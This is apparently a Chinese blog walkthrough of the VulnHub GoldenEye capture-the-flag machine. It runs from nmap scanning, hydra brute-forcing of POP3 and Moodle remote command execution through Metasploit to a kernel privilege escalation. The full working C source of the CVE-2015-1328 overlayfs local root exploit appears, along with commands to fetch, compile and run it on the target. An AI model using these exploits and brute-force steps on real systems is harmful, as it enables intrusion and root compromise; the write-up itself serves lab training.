vulnhub-GoldenEye靶机

vulnhub-GoldenEye靶机:

准备工作:

首先根据根据网址下载靶场:

连接地址:https://www.vulnhub.com/entry/goldeneye-1,240/

设置:

1,获取靶机之后用VMware导入打开,设置网络适配器为NAT模式
(也可以是其它的但要清楚网段)
2,开启靶机

目标:

得到root权限&找到flag.txt

开始测试

一、信息收集:

1、获取对应的靶机IP:

1、这里我们要知道靶机是在那一个网段可以在VMware的
编辑中的虚拟网络编辑器中查看,靶机所在的网段:

在这里插入图片描述
获取网段后,知道网段后就可以用nmap扫描靶机IP

2、获取网段后利用nmap扫描靶机:
Nmap需要了解的相关知识:

Nmap 扫描端口

-A: 一次扫描包含系统探测、版本探测、主机扫描

-p: 指定端口扫描

-sP 使用ping扫描,并打印出结果

-sS:半开放扫描(非3次握手的tcp扫描)

-sV: 版本检测 检测目标主机和端口上运行的软件版本

-A 综合扫描,包括系统探测,版本探测、脚本扫描、路由跟踪 综合扫描。比较慢

-Ti(i表示数字,1~6,数字越大表示级别越高,扫描越快,但容易被防火墙或IDS检查并屏蔽掉,在网络良好情况下推荐使用T4)

这里我们扫描网段利用:
nmap -sp 192.168.229.0/24
得到:
在这里插入图片描述

这里其它几个IP都是自己带的(可以关掉靶机扫描看看自己原来就有的IP,在开启靶机扫描就知道靶机IP啦)所有目标IP是:
192.168.229.152

2、获取靶机端口、操作系统版本信息:

利用:
nmap -sS -sV -T5 -A -p- 192.168.229.152

在这里插入图片描述

得到靶机的端口:80,55006,55007
操作系统:Linux

收集信息:

发现有80端口,直接访问网址:192.168.229.168

在这里插入图片描述

得到信息提示到:/sev-home/
访问:192.168.229.152/sev-home/
提示需要账户、密码:
在这里插入图片描述

于是在去192.168.229.152继续收集看有没有什么有用的信息
发现js文件
在这里插入图片描述

访问发现有用信息:

在这里插入图片描述

在解码密码是html实体编码,用bp自带的解码功能得到:

在这里插入图片描述

得到密码:
InvincibleHack3r
用户名可能是:
Boris
boris
Natalya
natalya
尝试一下发现用户名,密码是:
boris、InvincibleHack3r
登录进去得到:
在这里插入图片描述
根据提示:
请记住,由于 默默无闻的安全性 非常有效,我们已将 pop3 服务配置为在非常高的非默认端口上运行

我们查了一下pop3:

POP3是Post Office Protocol 3的简称,即邮局协议的第3个版本,它规定怎样将个人计算机连接到Internet的邮件服务器和下载电子邮件的电子协议。它是因特网电子邮件的第一个离线协议标准,POP3允许用户从服务器上把邮件存储到本地主机(即自己的计算机)上,同时删除保存在邮件服务器上的邮件,而POP3服务器则是遵循POP3协议的接收邮件服务器,用来接收电子邮件的。

发现这是一个邮件服务器

又想起之前扫描的端口:55007,55006
在这里插入图片描述

访问发现55006不能访问,但55007返回东西:

在这里插入图片描述

在F12 发现:

在这里插入图片描述

发现两个人的用户,于是就利用hydra 进行pop3的邮箱爆破

猜测用户可能为:
Boris
boris
Natalya
natalya

写经自己做的字典里面保存:

在这里插入图片描述

在进行爆破:
这里涉及 hydra 的知识点:
-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户,对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写,指定密码破解,少用,一般是采用密码字典。

-P FILE 大写,指定密码字典。

-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

-t TASKS 同时运行的线程数,默认为16。

-w TIME 设置最大超时的时间,单位秒,默认是30s。

-v / -V 显示详细过程。

server 目标ip

这里先把用户名字典放在~目录下:

在这里插入图片描述在用命令:
hydra -L username.txt -P /usr/share/wordlists/fasttrack.txt -v 192.168.229.152 -s 55007 pop3
(注:fasttrack.txt 密码字典是kail下自带字典目录:/usr/share/wordlists/)

得到:
在这里插入图片描述
在这里插入图片描述

得到用户和密码:
用户:natalya 密码:bird
用户:boris 密码:secret1!

通过nc 连接pop3端口 执行pop3命令

POP3 命令:

USER username 认证用户名

PASS password 认证密码认证,认证通过则状态转换

APOP name,digest 认可一种安全传输口令的办法,执行成功导致状态转换,请参见 RFC 1321 。

STAT 处理请求 server 回送邮箱统计资料,如邮件数、 邮件总字节数

UIDL n 处理 server 返回用于该指定邮件的唯一标识, 如果没有指定,返回所有的。

LIST n 处理 server 返回指定邮件的大小等

RETR n 处理 server 返回邮件的全部文本

DELE n 处理 server 标记删除,QUIT 命令执行时才真正删除

RSET 处理撤消所有的 DELE 命令

TOP n,m 处理 返回 n 号邮件的前 m 行内容,m 必须是自然数

NOOP 处理 server 返回一个肯定的响应

QUIT 希望结束会话。如果 server 处于"处理" 状态,则现在进入"更新"状态,删除那些标记成删除的邮件。如果 server 处于"认可"状态,则结束会话时 server 不进入"更新"状态 。

首先登录用户:boris

在这里插入图片描述在用命令:
stat 查看邮件数量
retr 1(第几封邮件)查看邮件内容
得到:
在这里插入图片描述

这里可以看到有三封邮件,查看了第一封邮件
这里和另外一个用户一共有5封邮件
一封一封的看得到关键信息泄露:
首先是用户名和密码:
在这里插入图片描述

其次是网址:
在这里插入图片描述

这里得到网址L:

severnaya-station.com/gnocertdir

访问的条件是:
修改/etc/目录下的hosts文件,把网址severnaya-station.com/gnocertdir对应服务器IP192.168.229.152
用命令:vi /etc/hosts
添加红线内容保存退出
在这里插入图片描述

在访问网址登录得到:

在这里插入图片描述

在进入查找有用信息找到:
在这里插入图片描述

管理员用户名:admin

另一个关键的pop3用户:
在这里插入图片描述另一个关键用户:doak

在利用hydra爆破密码
用命令:
hydra -l ‘doak’ -P /usr/share/wordlists/fasttrack.txt 192.168.229.152 -s 55007 pop3
得到:
在这里插入图片描述

得到密码:goat

登录:
nc 192.168.229.152 55007
查看邮件信息
得到网址登录用户名和密码:
在这里插入图片描述
登录查找有用信息,发现一个文件,打开看看发现有一个图片网页目录:

在这里插入图片描述

在这里插入图片描述
访问,得到一个图片下载下来:

在这里插入图片描述

放在主目录,用strings 查找有没有字符信息
发现base64编码:
在这里插入图片描述
解码得到:
xWinter1995x!

在这里插入图片描述

猜测是管理员密码去网址登录试试
发现进去了:

在这里插入图片描述

二、查找漏洞、漏洞利用:

1、查看历史漏洞

先查看搭网址的软件信息得到:

在这里插入图片描述

发现使用的是Moodle 2.2.3 软件版本
网上搜索历史漏洞:
在这里插入图片描述
在这里插入图片描述

存在命令执行漏洞:CVE-2013-3630

2 、获取shell

首先要先更改网站的拼写引擎为PSpellShell,靶机系统界面默认是google spell,要将靶机系统上修改为PSpellShell(如果你找不到在那可以看我上面画红线那一栏,那个就是地址栏在左边遍历目录)

在这里插入图片描述

找到漏洞就利用Metasploit上传payload

这里涉及Metasploit的知识点:

msfconsole #启动MSF console界面

msfupdate #msf版本更新

help/? #打印当下窗口的帮助文档

help command/command --help #打印command命令的帮助文档

connect #可以看成是msfconsole界面下的nc工具

edit #编辑模块的ruby文件,与用vim编辑相同

show #查看命令,可以看当前环境下的exploits、auxiliary、payloads等模块,其中Rank表示不同模块的评级(成功率和使用难易程度的重要参考)

show advanced #一些不常用的高级选项,不会在show options中显示

search #搜索关键词内容对应的模块,如搜索ms10_046漏洞模块:
#注意搜索出的内容所在基本目录为/usr/share/metasploit-framework/modules/,除此之外search还可以添加一些筛选条件,如name、path、type等

info #当前模块的基本信息

use #使用不同的模块文件

set/unset #设置变量/取消变量设置

setg/unsetg #设置全局变量/取消全局变量设置,只会设置当前msf运行环境中的变量,退出msf后设置就复位

save #将设置保存到/root/.msf4/config,msf启动时会读取该文件,这样重新启动msf后设置依然保留

back #从模块上下文退回到msfconsole初始目录

run/exploit #运行漏洞模块

sessions #可以看见当前已经建立的攻击连接,利用sessions -i id命令进入指定连接

jobs #查看后台运行的模块

load/unload #连接插件,如load openvas,然后会出现相应的openvas命令,使用时需要用openvas_connect连接外部扫描器

loadpath #调用自己编写的功能模块

route #向session指定路由

resource #调用rc文件的命令并执行,以方便直接取得session

首先启动Metasploit用命令:
msfconsole
得到:

在这里插入图片描述

在用命令查找搜到的历史漏洞:
search CVE:cve-2013-3630

得到:
在这里插入图片描述

得到payload的路径:exploit/multi/http/moodle_cmd_exec

用命令:
use exploit/multi/http/moodle_cmd_exec
在设置payload的用户名,密码,地址:
set rhosts severnaya-station.com
set vhost severnaya-station.com
set targeturi /gnocertdir/
set username admin
set password xWinter1995x!
执行payload命令:
exploit

在这里插入图片描述成功上传payload并返回shell能执行系统命令:

在这里插入图片描述

在利用python提一下权(还是不是全部权限),在进入更目录:
命令:
python -c ‘import pty; pty.spawn("/bin/bash")’

在这里插入图片描述

2 、提升权限

先用命令查看操作系统信息:
uname -a
在这里插入图片描述
内核版本和用户,发现linux 3.13.0-32内核,2014年的了 应该可以提权

这里利用的提权脚本是C语言脚本:

/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("cc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}
            

把这些代码复制到新建的.txt文件,在保存成.c文件
在这里插入图片描述

在把这个文件放在kaili的主目录下,在新建一个终端:

在这里插入图片描述

在在kaili机主目录(~)上用python临时开一个网站,端口7777
不要关闭这个窗口
命令:
在这里插入图片描述

在在刚刚执行命令的窗口,远程操控靶机在临时目录(tmp目录,其它目录权限不够)下载kaili开启的网站的power.c 提权脚本
命令:
wget http://192.168.229.141:7777/power.c
(注:这里的IP是攻击机kaili的IP)

在这里插入图片描述下载完成,执行该文件,并生成文件power(power文件是运行C的参数的要求)
命令:
cc -o power power.c
在这里插入图片描述

在给执行的文件授权
命令:
chmod +x power
在这里插入图片描述
在提升power权限
命令:
./power

在这里插入图片描述

提权成功进入root目录:
用命令:
ls -a (显示所有目录,包括隐藏文件)

在这里插入图片描述

找到目录flag.txt
查看flag,命令:
cat .flag.txt

在这里插入图片描述

提示到网页这个目录:/006-final/xvf7-flag/
访问得到flag:

在这里插入图片描述

测试完成^_^

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值